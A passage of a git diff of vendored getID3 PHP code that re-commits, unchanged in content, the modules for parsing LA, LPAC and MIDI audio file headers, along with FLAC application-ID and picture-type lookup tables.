0x4D505345 => 'MP3 Stream Editor', // "MPSE" + 0x4D754D4C => 'MusicML: Music Metadata Language', // "MuML" + 0x52494646 => 'Sound Devices RIFF chunk storage', // "RIFF" + 0x5346464C => 'Sound Font FLAC', // "SFFL" + 0x534F4E59 => 'Sony Creative Software', // "SONY" + 0x5351455A => 'flacsqueeze', // "SQEZ" + 0x54745776 => 'TwistedWave', // "TtWv" + 0x55495453 => 'UITS Embedding tools', // "UITS" + 0x61696666 => 'FLAC AIFF chunk storage', // "aiff" + 0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks', // "imag" + 0x7065656D => 'Parseable Embedded Extensible Metadata (specification)', // "peem" + 0x71667374 => 'QFLAC Studio', // "qfst" + 0x72696666 => 'FLAC RIFF chunk storage', // "riff" + 0x74756E65 => 'TagTuner', // "tune" + 0x78626174 => 'XBAT', // "xbat" + 0x786D6364 => 'xmcd', // "xmcd" + ); + return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved'); + } + + /** + * @param int $type_id + * + * @return string + */ + public static function pictureTypeLookup($type_id) { + static $lookup = array ( + 0 => 'Other', + 1 => '32x32 pixels \'file icon\' (PNG only)', + 2 => 'Other file icon', + 3 => 'Cover (front)', + 4 => 'Cover (back)', + 5 => 'Leaflet page', + 6 => 'Media (e.g. label side of CD)', + 7 => 'Lead artist/lead performer/soloist', + 8 => 'Artist/performer', + 9 => 'Conductor', + 10 => 'Band/Orchestra', + 11 => 'Composer', + 12 => 'Lyricist/text writer', + 13 => 'Recording Location', + 14 => 'During recording', + 15 => 'During performance', + 16 => 'Movie/video screen capture', + 17 => 'A bright coloured fish', + 18 => 'Illustration', + 19 => 'Band/artist logotype', + 20 => 'Publisher/Studio logotype', + ); + return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved'); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.la.php b/vendor/james-heinrich/getid3/getid3/module.audio.la.php index 9142ead492..27a46793e5 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.la.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.la.php @@ -1,230 +1,230 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.la.php // -// module for analyzing LA (LosslessAudio) audio files // -// dependencies: module.audio.riff.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); - -class getid3_la extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $offset = 0; - $this->fseek($info['avdataoffset']); - $rawdata = $this->fread($this->getid3->fread_buffer_size()); - - switch (substr($rawdata, $offset, 4)) { - case 'LA02': - case 'LA03': - case 'LA04': - $info['fileformat'] = 'la'; - $info['audio']['dataformat'] = 'la'; - $info['audio']['lossless'] = true; - - $info['la']['version_major'] = (int) substr($rawdata, $offset + 2, 1); - $info['la']['version_minor'] = (int) substr($rawdata, $offset + 3, 1); - $info['la']['version'] = (float) $info['la']['version_major'] + ($info['la']['version_minor'] / 10); - $offset += 4; - - $info['la']['uncompressed_size'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); - $offset += 4; - if ($info['la']['uncompressed_size'] == 0) { - $this->error('Corrupt LA file: uncompressed_size == zero'); - return false; - } - - $WAVEchunk = substr($rawdata, $offset, 4); - if ($WAVEchunk !== 'WAVE') { - $this->error('Expected "WAVE" ('.getid3_lib::PrintHexBytes('WAVE').') at offset '.$offset.', found "'.$WAVEchunk.'" ('.getid3_lib::PrintHexBytes($WAVEchunk).') instead.'); - return false; - } - $offset += 4; - - $info['la']['fmt_size'] = 24; - if ($info['la']['version'] >= 0.3) { - - $info['la']['fmt_size'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); - $info['la']['header_size'] = 49 + $info['la']['fmt_size'] - 24; - $offset += 4; - - } else { - - // version 0.2 didn't support additional data blocks - $info['la']['header_size'] = 41; - - } - - $fmt_chunk = substr($rawdata, $offset, 4); - if ($fmt_chunk !== 'fmt ') { - $this->error('Expected "fmt " ('.getid3_lib::PrintHexBytes('fmt ').') at offset '.$offset.', found "'.$fmt_chunk.'" ('.getid3_lib::PrintHexBytes($fmt_chunk).') instead.'); - return false; - } - $offset += 4; - $fmt_size = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); - $offset += 4; - - $info['la']['raw']['format'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 2)); - $offset += 2; - - $info['la']['channels'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 2)); - $offset += 2; - if ($info['la']['channels'] == 0) { - $this->error('Corrupt LA file: channels == zero'); - return false; - } - - $info['la']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); - $offset += 4; - if ($info['la']['sample_rate'] == 0) { - $this->error('Corrupt LA file: sample_rate == zero'); - return false; - } - - $info['la']['bytes_per_second'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); - $offset += 4; - $info['la']['bytes_per_sample'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 2)); - $offset += 2; - $info['la']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 2)); - $offset += 2; - - $info['la']['samples'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); - $offset += 4; - - $info['la']['raw']['flags'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 1)); - $offset += 1; - $info['la']['flags']['seekable'] = (bool) ($info['la']['raw']['flags'] & 0x01); - if ($info['la']['version'] >= 0.4) { - $info['la']['flags']['high_compression'] = (bool) ($info['la']['raw']['flags'] & 0x02); - } - - $info['la']['original_crc'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); - $offset += 4; - - // mikeØbevin*de - // Basically, the blocksize/seekevery are 61440/19 in La0.4 and 73728/16 - // in earlier versions. A seekpoint is added every blocksize * seekevery - // samples, so 4 * int(totalSamples / (blockSize * seekEvery)) should - // give the number of bytes used for the seekpoints. Of course, if seeking - // is disabled, there are no seekpoints stored. - if ($info['la']['version'] >= 0.4) { - $info['la']['blocksize'] = 61440; - $info['la']['seekevery'] = 19; - } else { - $info['la']['blocksize'] = 73728; - $info['la']['seekevery'] = 16; - } - - $info['la']['seekpoint_count'] = 0; - if ($info['la']['flags']['seekable']) { - $info['la']['seekpoint_count'] = floor($info['la']['samples'] / ($info['la']['blocksize'] * $info['la']['seekevery'])); - - for ($i = 0; $i < $info['la']['seekpoint_count']; $i++) { - $info['la']['seekpoints'][] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); - $offset += 4; - } - } - - if ($info['la']['version'] >= 0.3) { - - // Following the main header information, the program outputs all of the - // seekpoints. Following these is what I called the 'footer start', - // i.e. the position immediately after the La audio data is finished. - $info['la']['footerstart'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); - $offset += 4; - - if ($info['la']['footerstart'] > $info['filesize']) { - $this->warning('FooterStart value points to offset '.$info['la']['footerstart'].' which is beyond end-of-file ('.$info['filesize'].')'); - $info['la']['footerstart'] = $info['filesize']; - } - - } else { - - // La v0.2 didn't have FooterStart value - $info['la']['footerstart'] = $info['avdataend']; - - } - - if ($info['la']['footerstart'] < $info['avdataend']) { - if ($RIFFtempfilename = tempnam(GETID3_TEMP_DIR, 'id3')) { - if ($RIFF_fp = fopen($RIFFtempfilename, 'w+b')) { - $RIFFdata = 'WAVE'; - if ($info['la']['version'] == 0.2) { - $RIFFdata .= substr($rawdata, 12, 24); - } else { - $RIFFdata .= substr($rawdata, 16, 24); - } - if ($info['la']['footerstart'] < $info['avdataend']) { - $this->fseek($info['la']['footerstart']); - $RIFFdata .= $this->fread($info['avdataend'] - $info['la']['footerstart']); - } - $RIFFdata = 'RIFF'.getid3_lib::LittleEndian2String(strlen($RIFFdata), 4, false).$RIFFdata; - fwrite($RIFF_fp, $RIFFdata, strlen($RIFFdata)); - fclose($RIFF_fp); - - $getid3_temp = new getID3(); - $getid3_temp->openfile($RIFFtempfilename); - $getid3_riff = new getid3_riff($getid3_temp); - $getid3_riff->Analyze(); - - if (empty($getid3_temp->info['error'])) { - $info['riff'] = $getid3_temp->info['riff']; - } else { - $this->warning('Error parsing RIFF portion of La file: '.implode($getid3_temp->info['error'])); - } - unset($getid3_temp, $getid3_riff); - } - unlink($RIFFtempfilename); - } - } - - // $info['avdataoffset'] should be zero to begin with, but just in case it's not, include the addition anyway - $info['avdataend'] = $info['avdataoffset'] + $info['la']['footerstart']; - $info['avdataoffset'] = $info['avdataoffset'] + $offset; - - $info['la']['compression_ratio'] = (float) (($info['avdataend'] - $info['avdataoffset']) / $info['la']['uncompressed_size']); - $info['playtime_seconds'] = (float) ($info['la']['samples'] / $info['la']['sample_rate']) / $info['la']['channels']; - if ($info['playtime_seconds'] == 0) { - $this->error('Corrupt LA file: playtime_seconds == zero'); - return false; - } - - $info['audio']['bitrate'] = ($info['avdataend'] - $info['avdataoffset']) * 8 / $info['playtime_seconds']; - //$info['audio']['codec'] = $info['la']['codec']; - $info['audio']['bits_per_sample'] = $info['la']['bits_per_sample']; - break; - - default: - if (substr($rawdata, $offset, 2) == 'LA') { - $this->error('This version of getID3() ['.$this->getid3->version().'] does not support LA version '.substr($rawdata, $offset + 2, 1).'.'.substr($rawdata, $offset + 3, 1).' which this appears to be - check http://getid3.sourceforge.net for updates.'); - } else { - $this->error('Not a LA (Lossless-Audio) file'); - } - return false; - } - - $info['audio']['channels'] = $info['la']['channels']; - $info['audio']['sample_rate'] = (int) $info['la']['sample_rate']; - $info['audio']['encoder'] = 'LA v'.$info['la']['version']; - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.la.php // +// module for analyzing LA (LosslessAudio) audio files // +// dependencies: module.audio.riff.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); + +class getid3_la extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $offset = 0; + $this->fseek($info['avdataoffset']); + $rawdata = $this->fread($this->getid3->fread_buffer_size()); + + switch (substr($rawdata, $offset, 4)) { + case 'LA02': + case 'LA03': + case 'LA04': + $info['fileformat'] = 'la'; + $info['audio']['dataformat'] = 'la'; + $info['audio']['lossless'] = true; + + $info['la']['version_major'] = (int) substr($rawdata, $offset + 2, 1); + $info['la']['version_minor'] = (int) substr($rawdata, $offset + 3, 1); + $info['la']['version'] = (float) $info['la']['version_major'] + ($info['la']['version_minor'] / 10); + $offset += 4; + + $info['la']['uncompressed_size'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); + $offset += 4; + if ($info['la']['uncompressed_size'] == 0) { + $this->error('Corrupt LA file: uncompressed_size == zero'); + return false; + } + + $WAVEchunk = substr($rawdata, $offset, 4); + if ($WAVEchunk !== 'WAVE') { + $this->error('Expected "WAVE" ('.getid3_lib::PrintHexBytes('WAVE').') at offset '.$offset.', found "'.$WAVEchunk.'" ('.getid3_lib::PrintHexBytes($WAVEchunk).') instead.'); + return false; + } + $offset += 4; + + $info['la']['fmt_size'] = 24; + if ($info['la']['version'] >= 0.3) { + + $info['la']['fmt_size'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); + $info['la']['header_size'] = 49 + $info['la']['fmt_size'] - 24; + $offset += 4; + + } else { + + // version 0.2 didn't support additional data blocks + $info['la']['header_size'] = 41; + + } + + $fmt_chunk = substr($rawdata, $offset, 4); + if ($fmt_chunk !== 'fmt ') { + $this->error('Expected "fmt " ('.getid3_lib::PrintHexBytes('fmt ').') at offset '.$offset.', found "'.$fmt_chunk.'" ('.getid3_lib::PrintHexBytes($fmt_chunk).') instead.'); + return false; + } + $offset += 4; + $fmt_size = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); + $offset += 4; + + $info['la']['raw']['format'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 2)); + $offset += 2; + + $info['la']['channels'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 2)); + $offset += 2; + if ($info['la']['channels'] == 0) { + $this->error('Corrupt LA file: channels == zero'); + return false; + } + + $info['la']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); + $offset += 4; + if ($info['la']['sample_rate'] == 0) { + $this->error('Corrupt LA file: sample_rate == zero'); + return false; + } + + $info['la']['bytes_per_second'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); + $offset += 4; + $info['la']['bytes_per_sample'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 2)); + $offset += 2; + $info['la']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 2)); + $offset += 2; + + $info['la']['samples'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); + $offset += 4; + + $info['la']['raw']['flags'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 1)); + $offset += 1; + $info['la']['flags']['seekable'] = (bool) ($info['la']['raw']['flags'] & 0x01); + if ($info['la']['version'] >= 0.4) { + $info['la']['flags']['high_compression'] = (bool) ($info['la']['raw']['flags'] & 0x02); + } + + $info['la']['original_crc'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); + $offset += 4; + + // mikeØbevin*de + // Basically, the blocksize/seekevery are 61440/19 in La0.4 and 73728/16 + // in earlier versions. A seekpoint is added every blocksize * seekevery + // samples, so 4 * int(totalSamples / (blockSize * seekEvery)) should + // give the number of bytes used for the seekpoints. Of course, if seeking + // is disabled, there are no seekpoints stored. + if ($info['la']['version'] >= 0.4) { + $info['la']['blocksize'] = 61440; + $info['la']['seekevery'] = 19; + } else { + $info['la']['blocksize'] = 73728; + $info['la']['seekevery'] = 16; + } + + $info['la']['seekpoint_count'] = 0; + if ($info['la']['flags']['seekable']) { + $info['la']['seekpoint_count'] = floor($info['la']['samples'] / ($info['la']['blocksize'] * $info['la']['seekevery'])); + + for ($i = 0; $i < $info['la']['seekpoint_count']; $i++) { + $info['la']['seekpoints'][] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); + $offset += 4; + } + } + + if ($info['la']['version'] >= 0.3) { + + // Following the main header information, the program outputs all of the + // seekpoints. Following these is what I called the 'footer start', + // i.e. the position immediately after the La audio data is finished. + $info['la']['footerstart'] = getid3_lib::LittleEndian2Int(substr($rawdata, $offset, 4)); + $offset += 4; + + if ($info['la']['footerstart'] > $info['filesize']) { + $this->warning('FooterStart value points to offset '.$info['la']['footerstart'].' which is beyond end-of-file ('.$info['filesize'].')'); + $info['la']['footerstart'] = $info['filesize']; + } + + } else { + + // La v0.2 didn't have FooterStart value + $info['la']['footerstart'] = $info['avdataend']; + + } + + if ($info['la']['footerstart'] < $info['avdataend']) { + if ($RIFFtempfilename = tempnam(GETID3_TEMP_DIR, 'id3')) { + if ($RIFF_fp = fopen($RIFFtempfilename, 'w+b')) { + $RIFFdata = 'WAVE'; + if ($info['la']['version'] == 0.2) { + $RIFFdata .= substr($rawdata, 12, 24); + } else { + $RIFFdata .= substr($rawdata, 16, 24); + } + if ($info['la']['footerstart'] < $info['avdataend']) { + $this->fseek($info['la']['footerstart']); + $RIFFdata .= $this->fread($info['avdataend'] - $info['la']['footerstart']); + } + $RIFFdata = 'RIFF'.getid3_lib::LittleEndian2String(strlen($RIFFdata), 4, false).$RIFFdata; + fwrite($RIFF_fp, $RIFFdata, strlen($RIFFdata)); + fclose($RIFF_fp); + + $getid3_temp = new getID3(); + $getid3_temp->openfile($RIFFtempfilename); + $getid3_riff = new getid3_riff($getid3_temp); + $getid3_riff->Analyze(); + + if (empty($getid3_temp->info['error'])) { + $info['riff'] = $getid3_temp->info['riff']; + } else { + $this->warning('Error parsing RIFF portion of La file: '.implode($getid3_temp->info['error'])); + } + unset($getid3_temp, $getid3_riff); + } + unlink($RIFFtempfilename); + } + } + + // $info['avdataoffset'] should be zero to begin with, but just in case it's not, include the addition anyway + $info['avdataend'] = $info['avdataoffset'] + $info['la']['footerstart']; + $info['avdataoffset'] = $info['avdataoffset'] + $offset; + + $info['la']['compression_ratio'] = (float) (($info['avdataend'] - $info['avdataoffset']) / $info['la']['uncompressed_size']); + $info['playtime_seconds'] = (float) ($info['la']['samples'] / $info['la']['sample_rate']) / $info['la']['channels']; + if ($info['playtime_seconds'] == 0) { + $this->error('Corrupt LA file: playtime_seconds == zero'); + return false; + } + + $info['audio']['bitrate'] = ($info['avdataend'] - $info['avdataoffset']) * 8 / $info['playtime_seconds']; + //$info['audio']['codec'] = $info['la']['codec']; + $info['audio']['bits_per_sample'] = $info['la']['bits_per_sample']; + break; + + default: + if (substr($rawdata, $offset, 2) == 'LA') { + $this->error('This version of getID3() ['.$this->getid3->version().'] does not support LA version '.substr($rawdata, $offset + 2, 1).'.'.substr($rawdata, $offset + 3, 1).' which this appears to be - check http://getid3.sourceforge.net for updates.'); + } else { + $this->error('Not a LA (Lossless-Audio) file'); + } + return false; + } + + $info['audio']['channels'] = $info['la']['channels']; + $info['audio']['sample_rate'] = (int) $info['la']['sample_rate']; + $info['audio']['encoder'] = 'LA v'.$info['la']['version']; + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.lpac.php b/vendor/james-heinrich/getid3/getid3/module.audio.lpac.php index e674d67935..6656a1410d 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.lpac.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.lpac.php @@ -1,135 +1,135 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.lpac.php // -// module for analyzing LPAC Audio files // -// dependencies: module.audio-video.riff.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); - -class getid3_lpac extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $LPACheader = $this->fread(14); - $StreamMarker = substr($LPACheader, 0, 4); - if ($StreamMarker != 'LPAC') { - $this->error('Expected "LPAC" at offset '.$info['avdataoffset'].', found "'.$StreamMarker.'"'); - return false; - } - $flags = array(); - $info['avdataoffset'] += 14; - - $info['fileformat'] = 'lpac'; - $info['audio']['dataformat'] = 'lpac'; - $info['audio']['lossless'] = true; - $info['audio']['bitrate_mode'] = 'vbr'; - - $info['lpac']['file_version'] = getid3_lib::BigEndian2Int(substr($LPACheader, 4, 1)); - $flags['audio_type'] = getid3_lib::BigEndian2Int(substr($LPACheader, 5, 1)); - $info['lpac']['total_samples']= getid3_lib::BigEndian2Int(substr($LPACheader, 6, 4)); - $flags['parameters'] = getid3_lib::BigEndian2Int(substr($LPACheader, 10, 4)); - - $info['lpac']['flags']['is_wave'] = (bool) ($flags['audio_type'] & 0x40); - $info['lpac']['flags']['stereo'] = (bool) ($flags['audio_type'] & 0x04); - $info['lpac']['flags']['24_bit'] = (bool) ($flags['audio_type'] & 0x02); - $info['lpac']['flags']['16_bit'] = (bool) ($flags['audio_type'] & 0x01); - - if ($info['lpac']['flags']['24_bit'] && $info['lpac']['flags']['16_bit']) { - $this->warning('24-bit and 16-bit flags cannot both be set'); - } - - $info['lpac']['flags']['fast_compress'] = (bool) ($flags['parameters'] & 0x40000000); - $info['lpac']['flags']['random_access'] = (bool) ($flags['parameters'] & 0x08000000); - $info['lpac']['block_length'] = pow(2, (($flags['parameters'] & 0x07000000) >> 24)) * 256; - $info['lpac']['flags']['adaptive_prediction_order'] = (bool) ($flags['parameters'] & 0x00800000); - $info['lpac']['flags']['adaptive_quantization'] = (bool) ($flags['parameters'] & 0x00400000); - $info['lpac']['flags']['joint_stereo'] = (bool) ($flags['parameters'] & 0x00040000); - $info['lpac']['quantization'] = ($flags['parameters'] & 0x00001F00) >> 8; - $info['lpac']['max_prediction_order'] = ($flags['parameters'] & 0x0000003F); - - if ($info['lpac']['flags']['fast_compress'] && ($info['lpac']['max_prediction_order'] != 3)) { - $this->warning('max_prediction_order expected to be "3" if fast_compress is true, actual value is "'.$info['lpac']['max_prediction_order'].'"'); - } - switch ($info['lpac']['file_version']) { - case 6: - if ($info['lpac']['flags']['adaptive_quantization']) { - $this->warning('adaptive_quantization expected to be false in LPAC file stucture v6, actually true'); - } - if ($info['lpac']['quantization'] != 20) { - $this->warning('Quantization expected to be 20 in LPAC file stucture v6, actually '.$info['lpac']['flags']['Q']); - } - break; - - default: - //$this->warning('This version of getID3() ['.$this->getid3->version().'] only supports LPAC file format version 6, this file is version '.$info['lpac']['file_version'].' - please report to info@getid3.org'); - break; - } - - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info = $info; - $getid3_riff = new getid3_riff($getid3_temp); - $getid3_riff->Analyze(); - $info['avdataoffset'] = $getid3_temp->info['avdataoffset']; - $info['riff'] = $getid3_temp->info['riff']; - $info['error'] = $getid3_temp->info['error']; - $info['warning'] = $getid3_temp->info['warning']; - $info['lpac']['comments']['comment'] = $getid3_temp->info['comments']; - $info['audio']['sample_rate'] = $getid3_temp->info['audio']['sample_rate']; - unset($getid3_temp, $getid3_riff); - - $info['audio']['channels'] = ($info['lpac']['flags']['stereo'] ? 2 : 1); - - if ($info['lpac']['flags']['24_bit']) { - $info['audio']['bits_per_sample'] = $info['riff']['audio'][0]['bits_per_sample']; - } elseif ($info['lpac']['flags']['16_bit']) { - $info['audio']['bits_per_sample'] = 16; - } else { - $info['audio']['bits_per_sample'] = 8; - } - - if ($info['lpac']['flags']['fast_compress']) { - // fast - $info['audio']['encoder_options'] = '-1'; - } else { - switch ($info['lpac']['max_prediction_order']) { - case 20: // simple - $info['audio']['encoder_options'] = '-2'; - break; - case 30: // medium - $info['audio']['encoder_options'] = '-3'; - break; - case 40: // high - $info['audio']['encoder_options'] = '-4'; - break; - case 60: // extrahigh - $info['audio']['encoder_options'] = '-5'; - break; - } - } - - $info['playtime_seconds'] = $info['lpac']['total_samples'] / $info['audio']['sample_rate']; - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.lpac.php // +// module for analyzing LPAC Audio files // +// dependencies: module.audio-video.riff.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); + +class getid3_lpac extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $LPACheader = $this->fread(14); + $StreamMarker = substr($LPACheader, 0, 4); + if ($StreamMarker != 'LPAC') { + $this->error('Expected "LPAC" at offset '.$info['avdataoffset'].', found "'.$StreamMarker.'"'); + return false; + } + $flags = array(); + $info['avdataoffset'] += 14; + + $info['fileformat'] = 'lpac'; + $info['audio']['dataformat'] = 'lpac'; + $info['audio']['lossless'] = true; + $info['audio']['bitrate_mode'] = 'vbr'; + + $info['lpac']['file_version'] = getid3_lib::BigEndian2Int(substr($LPACheader, 4, 1)); + $flags['audio_type'] = getid3_lib::BigEndian2Int(substr($LPACheader, 5, 1)); + $info['lpac']['total_samples']= getid3_lib::BigEndian2Int(substr($LPACheader, 6, 4)); + $flags['parameters'] = getid3_lib::BigEndian2Int(substr($LPACheader, 10, 4)); + + $info['lpac']['flags']['is_wave'] = (bool) ($flags['audio_type'] & 0x40); + $info['lpac']['flags']['stereo'] = (bool) ($flags['audio_type'] & 0x04); + $info['lpac']['flags']['24_bit'] = (bool) ($flags['audio_type'] & 0x02); + $info['lpac']['flags']['16_bit'] = (bool) ($flags['audio_type'] & 0x01); + + if ($info['lpac']['flags']['24_bit'] && $info['lpac']['flags']['16_bit']) { + $this->warning('24-bit and 16-bit flags cannot both be set'); + } + + $info['lpac']['flags']['fast_compress'] = (bool) ($flags['parameters'] & 0x40000000); + $info['lpac']['flags']['random_access'] = (bool) ($flags['parameters'] & 0x08000000); + $info['lpac']['block_length'] = pow(2, (($flags['parameters'] & 0x07000000) >> 24)) * 256; + $info['lpac']['flags']['adaptive_prediction_order'] = (bool) ($flags['parameters'] & 0x00800000); + $info['lpac']['flags']['adaptive_quantization'] = (bool) ($flags['parameters'] & 0x00400000); + $info['lpac']['flags']['joint_stereo'] = (bool) ($flags['parameters'] & 0x00040000); + $info['lpac']['quantization'] = ($flags['parameters'] & 0x00001F00) >> 8; + $info['lpac']['max_prediction_order'] = ($flags['parameters'] & 0x0000003F); + + if ($info['lpac']['flags']['fast_compress'] && ($info['lpac']['max_prediction_order'] != 3)) { + $this->warning('max_prediction_order expected to be "3" if fast_compress is true, actual value is "'.$info['lpac']['max_prediction_order'].'"'); + } + switch ($info['lpac']['file_version']) { + case 6: + if ($info['lpac']['flags']['adaptive_quantization']) { + $this->warning('adaptive_quantization expected to be false in LPAC file stucture v6, actually true'); + } + if ($info['lpac']['quantization'] != 20) { + $this->warning('Quantization expected to be 20 in LPAC file stucture v6, actually '.$info['lpac']['flags']['Q']); + } + break; + + default: + //$this->warning('This version of getID3() ['.$this->getid3->version().'] only supports LPAC file format version 6, this file is version '.$info['lpac']['file_version'].' - please report to info@getid3.org'); + break; + } + + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info = $info; + $getid3_riff = new getid3_riff($getid3_temp); + $getid3_riff->Analyze(); + $info['avdataoffset'] = $getid3_temp->info['avdataoffset']; + $info['riff'] = $getid3_temp->info['riff']; + $info['error'] = $getid3_temp->info['error']; + $info['warning'] = $getid3_temp->info['warning']; + $info['lpac']['comments']['comment'] = $getid3_temp->info['comments']; + $info['audio']['sample_rate'] = $getid3_temp->info['audio']['sample_rate']; + unset($getid3_temp, $getid3_riff); + + $info['audio']['channels'] = ($info['lpac']['flags']['stereo'] ? 2 : 1); + + if ($info['lpac']['flags']['24_bit']) { + $info['audio']['bits_per_sample'] = $info['riff']['audio'][0]['bits_per_sample']; + } elseif ($info['lpac']['flags']['16_bit']) { + $info['audio']['bits_per_sample'] = 16; + } else { + $info['audio']['bits_per_sample'] = 8; + } + + if ($info['lpac']['flags']['fast_compress']) { + // fast + $info['audio']['encoder_options'] = '-1'; + } else { + switch ($info['lpac']['max_prediction_order']) { + case 20: // simple + $info['audio']['encoder_options'] = '-2'; + break; + case 30: // medium + $info['audio']['encoder_options'] = '-3'; + break; + case 40: // high + $info['audio']['encoder_options'] = '-4'; + break; + case 60: // extrahigh + $info['audio']['encoder_options'] = '-5'; + break; + } + } + + $info['playtime_seconds'] = $info['lpac']['total_samples'] / $info['audio']['sample_rate']; + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.midi.php b/vendor/james-heinrich/getid3/getid3/module.audio.midi.php index 218dbd0d0b..d5fe81a2bd 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.midi.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.midi.php @@ -1,555 +1,555 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.midi.php // -// module for Midi Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -define('GETID3_MIDI_MAGIC_MTHD', 'MThd'); // MIDI file header magic -define('GETID3_MIDI_MAGIC_MTRK', 'MTrk'); // MIDI track header magic - -class getid3_midi extends getid3_handler -{ - /** - * if false only parse most basic information, much faster for some files but may be inaccurate - * - * @var bool - */ - public $scanwholefile = true; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - // shortcut - $info['midi']['raw'] = array(); - $thisfile_midi = &$info['midi']; - $thisfile_midi_raw = &$thisfile_midi['raw']; - - $info['fileformat'] = 'midi'; - $info['audio']['dataformat'] = 'midi'; - - $this->fseek($info['avdataoffset']); - $MIDIdata = $this->fread($this->getid3->fread_buffer_size()); - $offset = 0; - $MIDIheaderID = substr($MIDIdata, $offset, 4); // 'MThd' - if ($MIDIheaderID != GETID3_MIDI_MAGIC_MTHD) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes(GETID3_MIDI_MAGIC_MTHD).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($MIDIheaderID).'"'); - unset($info['fileformat']); - return false; - } - $offset += 4; - 